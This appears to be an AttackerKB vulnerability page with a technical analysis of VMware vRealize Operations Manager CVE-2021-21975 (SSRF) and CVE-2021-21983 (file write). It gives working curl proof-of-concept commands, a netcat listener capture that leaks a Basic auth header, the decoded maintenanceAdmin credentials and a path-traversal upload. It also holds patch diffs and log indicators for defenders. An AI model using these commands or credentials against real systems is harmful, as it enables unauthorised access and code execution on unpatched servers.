Very High
CVE-2021-21975
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2021-21975
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Server Side Request Forgery in vRealize Operations Manager API (CVE-2021-21975) prior to 8.4 may allow a malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack to steal administrative credentials.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Please see the Rapid7 analysis or CVE-2021-21983’s assessment.
Update: According to GreyNoise, attackers are scanning for CVE-2021-21975.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Products
- VMware vRealize Operations
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Additional Info
Technical Analysis
Description
On March 30, 2021, VMware published a security advisory for CVE-2021-21975 and CVE-2021-21983, two chainable vulnerabilities in its vRealize Operations Manager product. CVE-2021-21975 is an unauthenticated server-side request forgery (SSRF), while CVE-2021-21983 is an authenticated arbitrary file write. Successfully chaining both vulnerabilities achieves unauthenticated remote code execution (RCE) in vRealize Operations Manager and any product using it as a component.
At the time of public disclosure, Positive Technologies tweeted about CVE-2021-21975 and CVE-2021-21983, which were both discovered by their researcher Egor Dimitrenko.
Affected products
- vRealize Operations Manager
- 7.0.0
- 7.5.0
- 8.0.0, 8.0.1
- 8.1.0, 8.1.1
- 8.2.0
- 8.3.0
- 7.0.0
- VMware Cloud Foundation (vROps)
- 3.x
- 4.x
- 3.x
- vRealize Suite Lifecycle Manager (vROps)
- 8.x
- 8.x
Technical analysis
CVE-2021-21975 is the primary focus of this analysis.
CVE-2021-21975 (SSRF)
/nodes/thumbprints
(mapped to /casa/nodes/thumbprints
) is an unauthenticated endpoint.
<sec:http pattern="/nodes/thumbprints" security='none'/>
It accepts a POST
request whose body is a JSON array of network address strings.
@RequestMapping(value = {"/nodes/thumbprints"}, method = {RequestMethod.POST}) @ResponseStatus(HttpStatus.OK) public ArrayList<ThumbprintResource> getNodesThumbprints(@RequestBody String[] addresses) { return this.clusterDefService.getNodesThumbprints(new HashSet(Arrays.asList((Object[])addresses))); }
Each address is sent a crafted GET
request, leading to a partially controlled SSRF.
public ArrayList<ThumbprintResource> getNodesThumbprints(Set<String> addresses) { ArrayList<ThumbprintResource> ipToThumbprint = new ArrayList<>(); if (null == addresses) { return ipToThumbprint; } configureInsecurRestTemplate(); HttpMapFunction f = new HttpMapFunction(addresses.<String>toArray(new String[addresses.size()]), RequestMethod.GET, "/node/thumbprint", null, null, this.webappInfo, this.timeoutForGetRequest, this.restTemplate); HttpMapResponse[] responses = f.execute(); for (HttpMapResponse resp : responses) { if (resp.getHttpCode() == HttpStatus.OK.value()) { String data = resp.getDocument().replace('"', ' ').trim(); ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), data)); } else { ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), null)); } } return ipToThumbprint; }
PoC
The provided workaround provided enough information to develop a PoC.
wvu@kharak:~$ curl -k https://192.168.123.185/casa/nodes/thumbprints -H "Content-Type: application/json" -d '["192.168.123.1:8443/#"]'
Appending #
(presumably URI fragment syntax) to the SSRF URI allows for full control of the GET
request path.
wvu@kharak:~$ ncat -lkv --ssl 8443 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: DD68 63E6 C329 1851 F74F 797A F684 7823 207A 55E7 Ncat: Listening on :::8443 Ncat: Listening on 0.0.0.0:8443 Ncat: Connection from 192.168.123.185. Ncat: Connection from 192.168.123.185:36070. GET / HTTP/1.1 Accept: application/xml, application/json Content-Type: application/json Accept-Charset: big5, big5-hkscs, cesu-8, euc-jp, euc-kr, gb18030, gb2312, gbk, ibm-thai, ibm00858, ibm01140, ibm01141, ibm01142, ibm01143, ibm01144, ibm01145, ibm01146, ibm01147, ibm01148, ibm01149, ibm037, ibm1026, ibm1047, ibm273, ibm277, ibm278, ibm280, ibm284, ibm285, ibm290, ibm297, ibm420, ibm424, ibm437, ibm500, ibm775, ibm850, ibm852, ibm855, ibm857, ibm860, ibm861, ibm862, ibm863, ibm864, ibm865, ibm866, ibm868, ibm869, ibm870, ibm871, ibm918, iso-2022-cn, iso-2022-jp, iso-2022-jp-2, iso-2022-kr, iso-8859-1, iso-8859-13, iso-8859-15, iso-8859-2, iso-8859-3, iso-8859-4, iso-8859-5, iso-8859-6, iso-8859-7, iso-8859-8, iso-8859-9, jis_x0201, jis_x0212-1990, koi8-r, koi8-u, shift_jis, tis-620, us-ascii, utf-16, utf-16be, utf-16le, utf-32, utf-32be, utf-32le, utf-8, windows-1250, windows-1251, windows-1252, windows-1253, windows-1254, windows-1255, windows-1256, windows-1257, windows-1258, windows-31j, x-big5-hkscs-2001, x-big5-solaris, x-compound_text, x-euc-jp-linux, x-euc-tw, x-eucjp-open, x-ibm1006, x-ibm1025, x-ibm1046, x-ibm1097, x-ibm1098, x-ibm1112, x-ibm1122, x-ibm1123, x-ibm1124, x-ibm1166, x-ibm1364, x-ibm1381, x-ibm1383, x-ibm300, x-ibm33722, x-ibm737, x-ibm833, x-ibm834, x-ibm856, x-ibm874, x-ibm875, x-ibm921, x-ibm922, x-ibm930, x-ibm933, x-ibm935, x-ibm937, x-ibm939, x-ibm942, x-ibm942c, x-ibm943, x-ibm943c, x-ibm948, x-ibm949, x-ibm949c, x-ibm950, x-ibm964, x-ibm970, x-iscii91, x-iso-2022-cn-cns, x-iso-2022-cn-gb, x-iso-8859-11, x-jis0208, x-jisautodetect, x-johab, x-macarabic, x-maccentraleurope, x-maccroatian, x-maccyrillic, x-macdingbat, x-macgreek, x-machebrew, x-maciceland, x-macroman, x-macromania, x-macsymbol, x-macthai, x-macturkish, x-macukraine, x-ms932_0213, x-ms950-hkscs, x-ms950-hkscs-xp, x-mswin-936, x-pck, x-sjis_0213, x-utf-16le-bom, x-utf-32be-bom, x-utf-32le-bom, x-windows-50220, x-windows-50221, x-windows-874, x-windows-949, x-windows-950, x-windows-iso2022jp X-VSCM-Request-Id: ak00003Y Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY= Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_212 Host: 192.168.123.1:8443 Connection: keep-alive
Note the Authorization: Basic
header, which is present in older vulnerable versions but missing from 8.3.0 and patched versions. The Base64 bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY=
decodes to the credentials maintenanceAdmin:RfdsxK/5M4MSk2si174KIhDV
.
Patch
The patch creates and uses a new REST template without maintenanceAdmin
credentials.
public ArrayList<ThumbprintResource> getNodesThumbprints(Set<String> addresses) { ArrayList<ThumbprintResource> ipToThumbprint = new ArrayList<>(); if (null == addresses) { return ipToThumbprint; } - configureInsecurRestTemplate(); - HttpMapFunction f = new HttpMapFunction(addresses.<String>toArray(new String[addresses.size()]), RequestMethod.GET, "/node/thumbprint", null, null, this.webappInfo, this.timeoutForGetRequest, this.restTemplate); + HttpMapFunction f = new HttpMapFunction(addresses.<String>toArray(new String[addresses.size()]), RequestMethod.GET, "/node/thumbprint", null, null, this.webappInfo, this.timeoutForGetRequest, this.nonSecureRestTemplate); HttpMapResponse[] responses = f.execute(); for (HttpMapResponse resp : responses) { if (resp.getHttpCode() == HttpStatus.OK.value()) { String data = resp.getDocument().replace('"', ' ').trim(); ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), data)); } else { ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), null)); } } return ipToThumbprint; }
+ <bean id="nonSecureRestTemplate" + factory-bean="restTemplateFactory" + factory-method="getNonSecureNonAuthorizedRestTemplate"/>
+ public RestTemplate getNonSecureNonAuthorizedRestTemplate() { + SslClientHttpRequestFactory factory = getSslClientHttpRequestFactory(null); + factory.setTrustManager((X509TrustManager)new Object(this)); + + + + + + + + + + + + + + factory.setVerifier((HostnameVerifier)new Object(this)); + + + + + + factory.setReadTimeout(0); + factory.setConnectTimeout(0); + return createNonAuthorizedRestTemplate((ClientHttpRequestFactory)factory, new ClientHttpRequestInterceptor[0]); + } [snip] + public RestTemplate getNonSecureNonAuthorizedRestTemplate(String hostIdentifier) { + SslClientHttpRequestFactory srf = getSslClientHttpRequestFactory(hostIdentifier); + if (isThumbprint(hostIdentifier)) { + srf.setThumbprintTrustManager(hostIdentifier); + } + return createNonAuthorizedRestTemplate((ClientHttpRequestFactory)srf, new ClientHttpRequestInterceptor[0]); + }
private RestTemplate createStandardRestTemplate(ClientHttpRequestFactory crf, ClientHttpRequestInterceptor... interceptors) { RestTemplate rt = createRestTemplate(crf, interceptors); if (this.maintenanceUserAuthorizationInterceptor != null) { rt.getInterceptors().add(this.maintenanceUserAuthorizationInterceptor); } return rt; } + private RestTemplate createNonAuthorizedRestTemplate(ClientHttpRequestFactory crf, ClientHttpRequestInterceptor... interceptors) { + RestTemplate rt = createRestTemplate(crf, interceptors); + return rt; + }
<bean id="maintenanceUserAuthorizationInterceptor" class="com.vmware.vcops.casa.support.MaintenanceUserAuthorizationInterceptor"> </bean>
public class MaintenanceUserAuthorizationInterceptor implements ClientHttpRequestInterceptor { public ClientHttpResponse intercept(HttpRequest request, byte[] body, ClientHttpRequestExecution execution) throws IOException { if (!request.getHeaders().containsKey("Authorization")) { String authValue = MaintenanceUserUtils.getAuthorizationValue(); if (authValue != null) { request.getHeaders().set("Authorization", authValue); } } return execution.execute(request, body); } }
CVE-2021-21983 (file write)
CVE-2021-21983 is a path traversal in the /casa/private/config/slice/ha/certificate
endpoint.
@RequestMapping(value = {"/private/config/slice/ha/certificate"}, method = {RequestMethod.POST}) @ResponseBody @ResponseStatus(HttpStatus.OK) @Auditable(category = Auditable.Category.CONFIG_SLICE_CERTIFICATE, auditMessage = "Accepting replicated certificate from Master slice") public void handleCertificateUpload(@RequestParam("name") String name, @RequestParam("file") MultipartFile multiPartFile) { try { this.certificateService.handleCertificateFile(multiPartFile, name); } catch (Exception e) { this.log.error("Error handling replica certificate upload: {}", e); throw new CasaException(e, "Failed to upload replica certificate"); } }
void handleCertificateFile(MultipartFile multiPartFile, String fileName) { + if (fileName == null || !fileName.equals("cakey.pem")) { + throw new CasaException("Wrong cert file name is provided"); + } File certFile = new File(this.certDirPath, fileName); try { multiPartFile.transferTo(certFile); certFile.setExecutable(false, false); } catch (Exception e) { throw new CasaException("Error writing Certificate file: " + certFile.getAbsolutePath(), e); } }
PoC
wvu@kharak:~$ curl -kH "Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY=" https://192.168.123.185/casa/private/config/slice/ha/certificate -F name=../../../../../tmp/vulnerable -F "file=@-; filename=vulnerable" <<<vulnerable wvu@kharak:~$
root@vRealizeClusterNode [ /tmp ]# ls -l vulnerable -rw-r--r-- 1 admin admin 11 Apr 5 22:18 vulnerable root@vRealizeClusterNode [ /tmp ]# cat vulnerable vulnerable root@vRealizeClusterNode [ /tmp ]#
IOCs
Numerous log files can be found in /usr/lib/vmware-casa/casa-webapp/logs
. The file /usr/lib/vmware-casa/casa-webapp/logs/casa.log
is of particular interest for tracking suspicious requests.
2021-04-03 07:58:33,113 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10] INFO casa.support.RequestIdIncomingInterceptor:60 - Request POST /casa/nodes/thumbprints from 192.168.123.1: New request id ak0000BL 2021-04-03 07:58:33,113 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10] INFO casa.support.HttpMapFunction:325 - execute, hosts=[192.168.123.1:8443/#], op=GET, relativeUrl=/node/thumbprint, doc={} 2021-04-03 07:58:33,116 [ak0000BL] [pool-36-thread-1] INFO casa.support.HttpTask:128 - Making HTTP call to url=https://192.168.123.1:8443/#/casa/node/thumbprint 2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG casa.support.CasaRestTemplate:147 - HTTP GET https://192.168.123.1:8443/#/casa/node/thumbprint 2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG casa.support.CasaRestTemplate:147 - Accept=[text/plain, application/json, application/*+json, */*] 2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG casa.support.CasaRestTemplate:147 - Writing [{}] as "application/json" 2021-04-03 07:58:33,118 [ak0000BL] [pool-36-thread-1] INFO casa.support.MaintenanceUserUtils:33 - Maintenance User credentials initialized 2021-04-03 07:58:43,114 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10] WARN casa.support.HttpMapFunction:414 - Error retrieving HttpTask future: java.util.concurrent.CancellationException 2021-04-03 07:58:43,116 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10] INFO casa.support.RequestIdIncomingInterceptor:93 - Request POST /casa/nodes/thumbprints: Done
2021-04-05 22:18:22,066 [ ] [ajp-nio-127.0.0.1-8011-exec-10] INFO casa.security.UsernamePasswordAuthenticator:104 - Authenticated maintenance user 'maintenanceAdmin' 2021-04-05 22:18:22,066 [ak0002Q9] [ajp-nio-127.0.0.1-8011-exec-10] INFO casa.support.RequestIdIncomingInterceptor:60 - Request POST /casa/private/config/slice/ha/certificate from 192.168.123.1: New request id ak0002Q9 2021-04-05 22:18:22,067 [ak0002Q9] [ajp-nio-127.0.0.1-8011-exec-10] INFO casa.support.RequestIdIncomingInterceptor:93 - Request POST /casa/private/config/slice/ha/certificate: Done
Note that the SSRF most likely requires a callback address in order to extract the Authorization: Basic
header and any credentials it contains.
Guidance
Please see the Response Matrix in the advisory for fixed versions and workarounds.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
SSRF, so hot right now!